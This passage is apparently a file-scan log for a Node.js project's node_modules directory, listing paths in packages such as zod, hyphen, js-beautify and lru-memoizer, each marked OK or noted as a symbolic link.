+/scan/node_modules/zod/src/v4/classic/tests/promise.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/array.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/async-refinements.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/tests/continuability.test.ts: OK
+/scan/node_modules/zod/src/v4/classic/schemas.ts: OK
+/scan/node_modules/zod/src/v4/classic/coerce.ts: OK
+/scan/node_modules/zod/src/v4/classic/checks.ts: OK
+/scan/node_modules/zod/src/v4/classic/index.ts: OK
+/scan/node_modules/zod/src/v4/classic/compat.ts: OK
+/scan/node_modules/zod/src/v4/index.ts: OK
+/scan/node_modules/zod/src/v3/external.ts: OK
+/scan/node_modules/zod/src/v3/locales/en.ts: OK
+/scan/node_modules/zod/src/v3/errors.ts: OK
+/scan/node_modules/zod/src/v3/tests/record.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/tuple.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/pipeline.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/transformer.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/function.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/nan.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/generics.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/object-augmentation.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/mocker.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/firstparty.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/object-in-es5-env.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/coerce.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/description.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/base.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/parser.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/recursive.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/custom.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/parseUtil.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/masking.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/deepmasking.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/void.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/intersection.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/pickomit.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/language-server.source.ts: OK
+/scan/node_modules/zod/src/v3/tests/literal.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/unions.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/anyunknown.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/default.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/branded.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/safeparse.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/string.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/bigint.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/catch.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/language-server.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/firstpartyschematypes.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/discriminated-unions.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/set.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/date.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/enum.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/Mocker.ts: OK
+/scan/node_modules/zod/src/v3/tests/partials.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/nullable.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/number.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/primitive.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/async-parsing.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/refine.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/validations.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/optional.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/map.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/instanceof.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/complex.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/preprocess.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/error.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/nativeEnum.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/standard-schema.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/all-errors.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/readonly.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/object.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/promise.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/array.test.ts: OK
+/scan/node_modules/zod/src/v3/tests/async-refinements.test.ts: OK
+/scan/node_modules/zod/src/v3/standard-schema.ts: OK
+/scan/node_modules/zod/src/v3/types.ts: OK
+/scan/node_modules/zod/src/v3/benchmarks/union.ts: OK
+/scan/node_modules/zod/src/v3/benchmarks/datetime.ts: OK
+/scan/node_modules/zod/src/v3/benchmarks/string.ts: OK
+/scan/node_modules/zod/src/v3/benchmarks/realworld.ts: OK
+/scan/node_modules/zod/src/v3/benchmarks/discriminatedUnion.ts: OK
+/scan/node_modules/zod/src/v3/benchmarks/primitives.ts: OK
+/scan/node_modules/zod/src/v3/benchmarks/object.ts: OK
+/scan/node_modules/zod/src/v3/benchmarks/index.ts: OK
+/scan/node_modules/zod/src/v3/benchmarks/ipv4.ts: OK
+/scan/node_modules/zod/src/v3/ZodError.ts: OK
+/scan/node_modules/zod/src/v3/index.ts: OK
+/scan/node_modules/zod/src/v3/helpers/errorUtil.ts: OK
+/scan/node_modules/zod/src/v3/helpers/typeAliases.ts: OK
+/scan/node_modules/zod/src/v3/helpers/parseUtil.ts: OK
+/scan/node_modules/zod/src/v3/helpers/enumUtil.ts: OK
+/scan/node_modules/zod/src/v3/helpers/util.ts: OK
+/scan/node_modules/zod/src/v3/helpers/partialUtil.ts: OK
+/scan/node_modules/zod/src/index.ts: OK
+/scan/node_modules/xmlhttprequest-ssl/LICENSE: OK
+/scan/node_modules/xmlhttprequest-ssl/README.md: OK
+/scan/node_modules/xmlhttprequest-ssl/package.json: OK
+/scan/node_modules/xmlhttprequest-ssl/lib/XMLHttpRequest.js: OK
+/scan/node_modules/styled-jsx/webpack.js: OK
+/scan/node_modules/styled-jsx/license.md: OK
+/scan/node_modules/styled-jsx/dist/webpack/index.js: OK
+/scan/node_modules/styled-jsx/dist/babel/index.js: OK
+/scan/node_modules/styled-jsx/dist/index/index.js: OK
+/scan/node_modules/styled-jsx/macro.d.ts: OK
+/scan/node_modules/styled-jsx/style.d.ts: OK
+/scan/node_modules/styled-jsx/index.js: OK
+/scan/node_modules/styled-jsx/style.js: OK
+/scan/node_modules/styled-jsx/readme.md: OK
+/scan/node_modules/styled-jsx/package.json: OK
+/scan/node_modules/styled-jsx/babel-test.js: OK
+/scan/node_modules/styled-jsx/lib/stylesheet.js: OK
+/scan/node_modules/styled-jsx/lib/style-transform.js: OK
+/scan/node_modules/styled-jsx/macro.js: OK
+/scan/node_modules/styled-jsx/global.d.ts: OK
+/scan/node_modules/styled-jsx/css.d.ts: OK
+/scan/node_modules/styled-jsx/babel.js: OK
+/scan/node_modules/styled-jsx/css.js: OK
+/scan/node_modules/styled-jsx/index.d.ts: OK
+/scan/node_modules/reusify/test.js: OK
+/scan/node_modules/reusify/LICENSE: OK
+/scan/node_modules/reusify/README.md: OK
+/scan/node_modules/reusify/package.json: OK
+/scan/node_modules/reusify/benchmarks/reuseNoCodeFunction.js: OK
+/scan/node_modules/reusify/benchmarks/fib.js: OK
+/scan/node_modules/reusify/benchmarks/createNoCodeFunction.js: OK
+/scan/node_modules/reusify/.github/workflows/ci.yml: OK
+/scan/node_modules/reusify/.github/dependabot.yml: OK
+/scan/node_modules/reusify/reusify.d.ts: OK
+/scan/node_modules/reusify/tsconfig.json: OK
+/scan/node_modules/reusify/reusify.js: OK
+/scan/node_modules/reusify/eslint.config.js: OK
+/scan/node_modules/reusify/SECURITY.md: OK
+/scan/node_modules/simple-swizzle/LICENSE: OK
+/scan/node_modules/simple-swizzle/index.js: OK
+/scan/node_modules/simple-swizzle/README.md: OK
+/scan/node_modules/simple-swizzle/package.json: OK
+/scan/node_modules/@pkgjs/parseargs/LICENSE: OK
+/scan/node_modules/@pkgjs/parseargs/CHANGELOG.md: OK
+/scan/node_modules/@pkgjs/parseargs/internal/validators.js: OK
+/scan/node_modules/@pkgjs/parseargs/internal/util.js: OK
+/scan/node_modules/@pkgjs/parseargs/internal/primordials.js: OK
+/scan/node_modules/@pkgjs/parseargs/internal/errors.js: OK
+/scan/node_modules/@pkgjs/parseargs/index.js: OK
+/scan/node_modules/@pkgjs/parseargs/.editorconfig: OK
+/scan/node_modules/@pkgjs/parseargs/README.md: OK
+/scan/node_modules/@pkgjs/parseargs/package.json: OK
+/scan/node_modules/@pkgjs/parseargs/examples/no-repeated-options.js: OK
+/scan/node_modules/@pkgjs/parseargs/examples/negate.js: OK
+/scan/node_modules/@pkgjs/parseargs/examples/is-default-value.js: OK
+/scan/node_modules/@pkgjs/parseargs/examples/ordered-options.mjs: OK
+/scan/node_modules/@pkgjs/parseargs/examples/simple-hard-coded.js: OK
+/scan/node_modules/@pkgjs/parseargs/examples/limit-long-syntax.js: OK
+/scan/node_modules/@pkgjs/parseargs/utils.js: OK
+/scan/node_modules/strip-literal/LICENSE: OK
+/scan/node_modules/strip-literal/dist/index.d.mts: OK
+/scan/node_modules/strip-literal/dist/index.d.cts: OK
+/scan/node_modules/strip-literal/dist/index.cjs: OK
+/scan/node_modules/strip-literal/dist/index.mjs: OK
+/scan/node_modules/strip-literal/dist/index.d.ts: OK
+/scan/node_modules/strip-literal/node_modules/js-tokens/LICENSE: OK
+/scan/node_modules/strip-literal/node_modules/js-tokens/index.js: OK
+/scan/node_modules/strip-literal/node_modules/js-tokens/README.md: OK
+/scan/node_modules/strip-literal/node_modules/js-tokens/package.json: OK
+/scan/node_modules/strip-literal/node_modules/js-tokens/index.d.ts: OK
+/scan/node_modules/strip-literal/README.md: OK
+/scan/node_modules/strip-literal/package.json: OK
+/scan/node_modules/hyphen/sl/index.js: OK
+/scan/node_modules/hyphen/sk/index.js: OK
+/scan/node_modules/hyphen/zh-latn-pinyin/index.js: OK
+/scan/node_modules/hyphen/kmr/index.js: OK
+/scan/node_modules/hyphen/export-contract.js: OK
+/scan/node_modules/hyphen/el-monoton/index.js: OK
+/scan/node_modules/hyphen/de-1901/index.js: OK
+/scan/node_modules/hyphen/sh-cyrl/index.js: OK
+/scan/node_modules/hyphen/mn-cyrl-x-lmc/index.js: OK
+/scan/node_modules/hyphen/de-1996/index.js: OK
+/scan/node_modules/hyphen/pl/index.js: OK
+/scan/node_modules/hyphen/sq/index.js: OK
+/scan/node_modules/hyphen/sv/index.js: OK
+/scan/node_modules/hyphen/ga/index.js: OK
+/scan/node_modules/hyphen/hy/index.js: OK
+/scan/node_modules/hyphen/nn/index.js: OK
+/scan/node_modules/hyphen/be/index.js: OK
+/scan/node_modules/hyphen/LICENSE: OK
+/scan/node_modules/hyphen/patterns/pt.js: OK
+/scan/node_modules/hyphen/patterns/hsb.js: OK
+/scan/node_modules/hyphen/patterns/mul-ethi.js: OK
+/scan/node_modules/hyphen/patterns/lv.js: OK
+/scan/node_modules/hyphen/patterns/cu.js: OK
+/scan/node_modules/hyphen/patterns/gl.js: OK
+/scan/node_modules/hyphen/patterns/or.js: OK
+/scan/node_modules/hyphen/patterns/pl.js: OK
+/scan/node_modules/hyphen/patterns/mr.js: OK
+/scan/node_modules/hyphen/patterns/zh-latn-pinyin.js: OK
+/scan/node_modules/hyphen/patterns/et.js: OK
+/scan/node_modules/hyphen/patterns/is.js: OK
+/scan/node_modules/hyphen/patterns/sl.js: OK
+/scan/node_modules/hyphen/patterns/nn.js: OK
+/scan/node_modules/hyphen/patterns/rm.js: OK
+/scan/node_modules/hyphen/patterns/hr.js: OK
+/scan/node_modules/hyphen/patterns/fi.js: OK
+/scan/node_modules/hyphen/patterns/th.js: OK
+/scan/node_modules/hyphen/patterns/pi.js: OK
+/scan/node_modules/hyphen/patterns/ru.js: OK
+/scan/node_modules/hyphen/patterns/eu.js: OK
+/scan/node_modules/hyphen/patterns/mk.js: OK
+/scan/node_modules/hyphen/patterns/no.js: OK
+/scan/node_modules/hyphen/patterns/kn.js: OK
+/scan/node_modules/hyphen/patterns/sq.js: OK
+/scan/node_modules/hyphen/patterns/gu.js: OK
+/scan/node_modules/hyphen/patterns/mn-cyrl-x-lmc.js: OK
+/scan/node_modules/hyphen/patterns/ka.js: OK
+/scan/node_modules/hyphen/patterns/bg.js: OK
+/scan/node_modules/hyphen/patterns/mn-cyrl.js: OK
+/scan/node_modules/hyphen/patterns/pms.js: OK
+/scan/node_modules/hyphen/patterns/la-x-liturgic.js: OK
+/scan/node_modules/hyphen/patterns/hy.js: OK
+/scan/node_modules/hyphen/patterns/ia.js: OK
+/scan/node_modules/hyphen/patterns/en-us.js: OK
+/scan/node_modules/hyphen/patterns/fur.js: OK
+/scan/node_modules/hyphen/patterns/sr-cyrl.js: OK
+/scan/node_modules/hyphen/patterns/la.js: OK
+/scan/node_modules/hyphen/patterns/af.js: OK
+/scan/node_modules/hyphen/patterns/id.js: OK
+/scan/node_modules/hyphen/patterns/ca.js: OK
+/scan/node_modules/hyphen/patterns/ta.js: OK
+/scan/node_modules/hyphen/patterns/cy.js: OK
+/scan/node_modules/hyphen/patterns/de-1996.js: OK
+/scan/node_modules/hyphen/patterns/te.js: OK
+/scan/node_modules/hyphen/patterns/de-ch-1901.js: OK
+/scan/node_modules/hyphen/patterns/nb.js: OK
+/scan/node_modules/hyphen/patterns/be.js: OK
+/scan/node_modules/hyphen/patterns/oc.js: OK
+/scan/node_modules/hyphen/patterns/da.js: OK
+/scan/node_modules/hyphen/patterns/sa.js: OK
+/scan/node_modules/hyphen/patterns/kmr.js: OK
+/scan/node_modules/hyphen/patterns/la-x-classic.js: OK
+/scan/node_modules/hyphen/patterns/ga.js: OK
+/scan/node_modules/hyphen/patterns/de-1901.js: OK
+/scan/node_modules/hyphen/patterns/pa.js: OK
+/scan/node_modules/hyphen/patterns/sh-latn.js: OK
+/scan/node_modules/hyphen/patterns/tk.js: OK
+/scan/node_modules/hyphen/patterns/sv.js: OK
+/scan/node_modules/hyphen/patterns/hi.js: OK
+/scan/node_modules/hyphen/patterns/uk.js: OK
+/scan/node_modules/hyphen/patterns/cs.js: OK
+/scan/node_modules/hyphen/patterns/fr.js: OK
+/scan/node_modules/hyphen/patterns/nl.js: OK
+/scan/node_modules/hyphen/patterns/en-gb.js: OK
+/scan/node_modules/hyphen/patterns/as.js: OK
+/scan/node_modules/hyphen/patterns/hu.js: OK
+/scan/node_modules/hyphen/patterns/grc.js: OK
+/scan/node_modules/hyphen/patterns/sh-cyrl.js: OK
+/scan/node_modules/hyphen/patterns/lt.js: OK
+/scan/node_modules/hyphen/patterns/ml.js: OK
+/scan/node_modules/hyphen/patterns/el-monoton.js: OK
+/scan/node_modules/hyphen/patterns/sk.js: OK
+/scan/node_modules/hyphen/patterns/it.js: OK
+/scan/node_modules/hyphen/patterns/es.js: OK
+/scan/node_modules/hyphen/patterns/bn.js: OK
+/scan/node_modules/hyphen/patterns/cop.js: OK
+/scan/node_modules/hyphen/patterns/ro.js: OK
+/scan/node_modules/hyphen/patterns/el-polyton.js: OK
+/scan/node_modules/hyphen/patterns/fi-x-school.js: OK
+/scan/node_modules/hyphen/patterns/tr.js: OK
+/scan/node_modules/hyphen/mn-cyrl/index.js: OK
+/scan/node_modules/hyphen/da/index.js: OK
+/scan/node_modules/hyphen/mr/index.js: OK
+/scan/node_modules/hyphen/no/index.js: OK
+/scan/node_modules/hyphen/gu/index.js: OK
+/scan/node_modules/hyphen/CHANGELOG: OK
+/scan/node_modules/hyphen/mn/index.js: OK
+/scan/node_modules/hyphen/grc/index.js: OK
+/scan/node_modules/hyphen/cu/index.js: OK
+/scan/node_modules/hyphen/el/index.js: OK
+/scan/node_modules/hyphen/sh-latn/index.js: OK
+/scan/node_modules/hyphen/lv/index.js: OK
+/scan/node_modules/hyphen/oc/index.js: OK
+/scan/node_modules/hyphen/it/index.js: OK
+/scan/node_modules/hyphen/ca/index.js: OK
+/scan/node_modules/hyphen/is/index.js: OK
+/scan/node_modules/hyphen/cs/index.js: OK
+/scan/node_modules/hyphen/ia/index.js: OK
+/scan/node_modules/hyphen/te/index.js: OK
+/scan/node_modules/hyphen/fur/index.js: OK
+/scan/node_modules/hyphen/ru/index.js: OK
+/scan/node_modules/hyphen/en-gb/index.js: OK
+/scan/node_modules/hyphen/tk/index.js: OK
+/scan/node_modules/hyphen/el-polyton/index.js: OK
+/scan/node_modules/hyphen/index.js: OK
+/scan/node_modules/hyphen/bower.json: OK
+/scan/node_modules/hyphen/pms/index.js: OK
+/scan/node_modules/hyphen/ro/index.js: OK
+/scan/node_modules/hyphen/hsb/index.js: OK
+/scan/node_modules/hyphen/README.md: OK
+/scan/node_modules/hyphen/fi-x-school/index.js: OK
+/scan/node_modules/hyphen/sh/index.js: OK
+/scan/node_modules/hyphen/pi/index.js: OK
+/scan/node_modules/hyphen/sa/index.js: OK
+/scan/node_modules/hyphen/pt/index.js: OK
+/scan/node_modules/hyphen/zh/index.js: OK
+/scan/node_modules/hyphen/uk/index.js: OK
+/scan/node_modules/hyphen/sr/index.js: OK
+/scan/node_modules/hyphen/pa/index.js: OK
+/scan/node_modules/hyphen/package.json: OK
+/scan/node_modules/hyphen/la-x-classic/index.js: OK
+/scan/node_modules/hyphen/ml/index.js: OK
+/scan/node_modules/hyphen/mk/index.js: OK
+/scan/node_modules/hyphen/mul-ethi/index.js: OK
+/scan/node_modules/hyphen/de-ch-1901/index.js: OK
+/scan/node_modules/hyphen/kn/index.js: OK
+/scan/node_modules/hyphen/gl/index.js: OK
+/scan/node_modules/hyphen/hr/index.js: OK
+/scan/node_modules/hyphen/hu/index.js: OK
+/scan/node_modules/hyphen/nl/index.js: OK
+/scan/node_modules/hyphen/bg/index.js: OK
+/scan/node_modules/hyphen/bn/index.js: OK
+/scan/node_modules/hyphen/af/index.js: OK
+/scan/node_modules/hyphen/nb/index.js: OK
+/scan/node_modules/hyphen/hi/index.js: OK
+/scan/node_modules/hyphen/ka/index.js: OK
+/scan/node_modules/hyphen/de/index.js: OK
+/scan/node_modules/hyphen/as/index.js: OK
+/scan/node_modules/hyphen/fi/index.js: OK
+/scan/node_modules/hyphen/ethi/index.js: OK
+/scan/node_modules/hyphen/id/index.js: OK
+/scan/node_modules/hyphen/fr/index.js: OK
+/scan/node_modules/hyphen/es/index.js: OK
+/scan/node_modules/hyphen/et/index.js: OK
+/scan/node_modules/hyphen/en/index.js: OK
+/scan/node_modules/hyphen/lt/index.js: OK
+/scan/node_modules/hyphen/or/index.js: OK
+/scan/node_modules/hyphen/cy/index.js: OK
+/scan/node_modules/hyphen/en-us/index.js: OK
+/scan/node_modules/hyphen/eu/index.js: OK
+/scan/node_modules/hyphen/hyphen.js: OK
+/scan/node_modules/hyphen/la/index.js: OK
+/scan/node_modules/hyphen/sr-cyrl/index.js: OK
+/scan/node_modules/hyphen/rm/index.js: OK
+/scan/node_modules/hyphen/ta/index.js: OK
+/scan/node_modules/hyphen/th/index.js: OK
+/scan/node_modules/hyphen/tr/index.js: OK
+/scan/node_modules/hyphen/cop/index.js: OK
+/scan/node_modules/hyphen/la-x-liturgic/index.js: OK
+/scan/node_modules/destroy/LICENSE: OK
+/scan/node_modules/destroy/index.js: OK
+/scan/node_modules/destroy/README.md: OK
+/scan/node_modules/destroy/package.json: OK
+/scan/node_modules/stubs/test.js: OK
+/scan/node_modules/stubs/index.js: OK
+/scan/node_modules/stubs/readme.md: OK
+/scan/node_modules/stubs/package.json: OK
+/scan/node_modules/lru-memoizer/LICENSE: OK
+/scan/node_modules/lru-memoizer/test/lru-memoizer.sync.clone.test.js: OK
+/scan/node_modules/lru-memoizer/test/lru-memoizer.bypass.test.js: OK
+/scan/node_modules/lru-memoizer/test/lru-memoizer.disable.test.js: OK
+/scan/node_modules/lru-memoizer/test/lru-memoizer.sync.freeze.js: OK
+/scan/node_modules/lru-memoizer/test/lru-memoizer.events.test.js: OK
+/scan/node_modules/lru-memoizer/test/lru-memoizer.nokey.test.js: OK
+/scan/node_modules/lru-memoizer/test/lru-memoizer.test.js: OK
+/scan/node_modules/lru-memoizer/test/lru-memoizer.itemmaxage.test.js: OK
+/scan/node_modules/lru-memoizer/test/lru-memoizer.sync.events.test.js: OK
+/scan/node_modules/lru-memoizer/test/lru-memoizer.clone.test.js: OK
+/scan/node_modules/lru-memoizer/test/lru-memoizer.lock.test.js: OK
+/scan/node_modules/lru-memoizer/test/lru-memoizer.sync.test.js: OK
+/scan/node_modules/lru-memoizer/test/lru-memoizer.queumaxage.test.js: OK
+/scan/node_modules/lru-memoizer/test/lru-memoizer.freeze.test.js: OK
+/scan/node_modules/lru-memoizer/.jshintrc: OK
+/scan/node_modules/lru-memoizer/README.md: OK
+/scan/node_modules/lru-memoizer/package.json: OK
+/scan/node_modules/lru-memoizer/lib/util.js: OK
+/scan/node_modules/lru-memoizer/lib/sync.js: OK
+/scan/node_modules/lru-memoizer/lib/index.js: OK
+/scan/node_modules/lru-memoizer/lib/sync.d.ts: OK
+/scan/node_modules/lru-memoizer/lib/async.js: OK
+/scan/node_modules/lru-memoizer/lib/util.d.ts: OK
+/scan/node_modules/lru-memoizer/lib/index.d.ts: OK
+/scan/node_modules/lru-memoizer/lib/freeze.js: OK
+/scan/node_modules/lru-memoizer/lib/freeze.d.ts: OK
+/scan/node_modules/lru-memoizer/lib/async.d.ts: OK
+/scan/node_modules/lru-memoizer/tsconfig.json: OK
+/scan/node_modules/pirates/LICENSE: OK
+/scan/node_modules/pirates/README.md: OK
+/scan/node_modules/pirates/package.json: OK
+/scan/node_modules/pirates/lib/index.js: OK
+/scan/node_modules/pirates/index.d.ts: OK
+/scan/node_modules/js-beautify/LICENSE: OK
+/scan/node_modules/js-beautify/js/bin/html-beautify.js: OK
+/scan/node_modules/js-beautify/js/bin/js-beautify.js: OK
+/scan/node_modules/js-beautify/js/bin/css-beautify.js: OK
+/scan/node_modules/js-beautify/js/index.js: OK
+/scan/node_modules/js-beautify/js/lib/beautifier.min.js: OK
+/scan/node_modules/js-beautify/js/lib/unpackers/myobfuscate_unpacker.js: OK
+/scan/node_modules/js-beautify/js/lib/unpackers/javascriptobfuscator_unpacker.js: OK
+/scan/node_modules/js-beautify/js/lib/unpackers/urlencode_unpacker.js: OK
+/scan/node_modules/js-beautify/js/lib/unpackers/p_a_c_k_e_r_unpacker.js: OK
+/scan/node_modules/js-beautify/js/lib/beautifier.js: OK
+/scan/node_modules/js-beautify/js/lib/cli.js: OK
+/scan/node_modules/js-beautify/js/lib/beautify-html.js: OK
+/scan/node_modules/js-beautify/js/lib/beautify.js: OK
+/scan/node_modules/js-beautify/js/lib/beautify-css.js: OK
+/scan/node_modules/js-beautify/js/src/core/tokenstream.js: OK
+/scan/node_modules/js-beautify/js/src/core/pattern.js: OK
+/scan/node_modules/js-beautify/js/src/core/options.js: OK
+/scan/node_modules/js-beautify/js/src/core/token.js: OK
+/scan/node_modules/js-beautify/js/src/core/output.js: OK
+/scan/node_modules/js-beautify/js/src/core/inputscanner.js: OK
+/scan/node_modules/js-beautify/js/src/core/directives.js: OK
+/scan/node_modules/js-beautify/js/src/core/tokenizer.js: OK
+/scan/node_modules/js-beautify/js/src/core/whitespacepattern.js: OK
+/scan/node_modules/js-beautify/js/src/core/templatablepattern.js: OK
+/scan/node_modules/js-beautify/js/src/css/options.js: OK
+/scan/node_modules/js-beautify/js/src/css/index.js: OK
+/scan/node_modules/js-beautify/js/src/css/beautifier.js: OK
+/scan/node_modules/js-beautify/js/src/css/tokenizer.js: OK
+/scan/node_modules/js-beautify/js/src/index.js: OK
+/scan/node_modules/js-beautify/js/src/html/options.js: OK
+/scan/node_modules/js-beautify/js/src/html/index.js: OK
+/scan/node_modules/js-beautify/js/src/html/beautifier.js: OK
+/scan/node_modules/js-beautify/js/src/html/tokenizer.js: OK
+/scan/node_modules/js-beautify/js/src/unpackers/myobfuscate_unpacker.js: OK
+/scan/node_modules/js-beautify/js/src/unpackers/javascriptobfuscator_unpacker.js: OK
+/scan/node_modules/js-beautify/js/src/unpackers/urlencode_unpacker.js: OK
+/scan/node_modules/js-beautify/js/src/unpackers/p_a_c_k_e_r_unpacker.js: OK
+/scan/node_modules/js-beautify/js/src/cli.js: OK
+/scan/node_modules/js-beautify/js/src/javascript/options.js: OK
+/scan/node_modules/js-beautify/js/src/javascript/index.js: OK
+/scan/node_modules/js-beautify/js/src/javascript/acorn.js: OK
+/scan/node_modules/js-beautify/js/src/javascript/beautifier.js: OK
+/scan/node_modules/js-beautify/js/src/javascript/tokenizer.js: OK
+/scan/node_modules/js-beautify/node_modules/.bin/glob: Symbolic link
+/scan/node_modules/js-beautify/node_modules/brace-expansion/LICENSE: OK
+/scan/node_modules/js-beautify/node_modules/brace-expansion/index.js: OK
+/scan/node_modules/js-beautify/node_modules/brace-expansion/README.md: OK
+/scan/node_modules/js-beautify/node_modules/brace-expansion/package.json: OK
+/scan/node_modules/js-beautify/node_modules/brace-expansion/.github/FUNDING.yml: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/LICENSE: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/esm/ast.d.ts.map: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/esm/ast.js.map: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/esm/brace-expressions.js.map: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/esm/escape.d.ts: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/esm/brace-expressions.d.ts.map: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/esm/unescape.js.map: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/esm/escape.d.ts.map: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/esm/escape.js: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/esm/unescape.d.ts.map: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/esm/index.js: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/esm/unescape.d.ts: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/esm/package.json: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/esm/brace-expressions.js: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/esm/assert-valid-pattern.d.ts.map: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/esm/index.js.map: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/esm/unescape.js: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/esm/assert-valid-pattern.js.map: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/esm/escape.js.map: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/esm/index.d.ts: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/esm/brace-expressions.d.ts: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/esm/assert-valid-pattern.js: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/esm/ast.d.ts: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/esm/assert-valid-pattern.d.ts: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/esm/ast.js: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/esm/index.d.ts.map: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/commonjs/ast.d.ts.map: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/commonjs/ast.js.map: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/commonjs/brace-expressions.js.map: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/commonjs/escape.d.ts: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/commonjs/brace-expressions.d.ts.map: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/commonjs/unescape.js.map: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/commonjs/escape.d.ts.map: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/commonjs/escape.js: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/commonjs/unescape.d.ts.map: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/commonjs/index.js: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/commonjs/unescape.d.ts: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/commonjs/package.json: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/commonjs/brace-expressions.js: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/commonjs/assert-valid-pattern.d.ts.map: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/commonjs/index.js.map: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/commonjs/unescape.js: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/commonjs/assert-valid-pattern.js.map: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/commonjs/escape.js.map: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/commonjs/index.d.ts: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/commonjs/brace-expressions.d.ts: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/commonjs/assert-valid-pattern.js: OK
+/scan/node_modules/js-beautify/node_modules/minimatch/dist/commonjs/ast.d.ts: OK
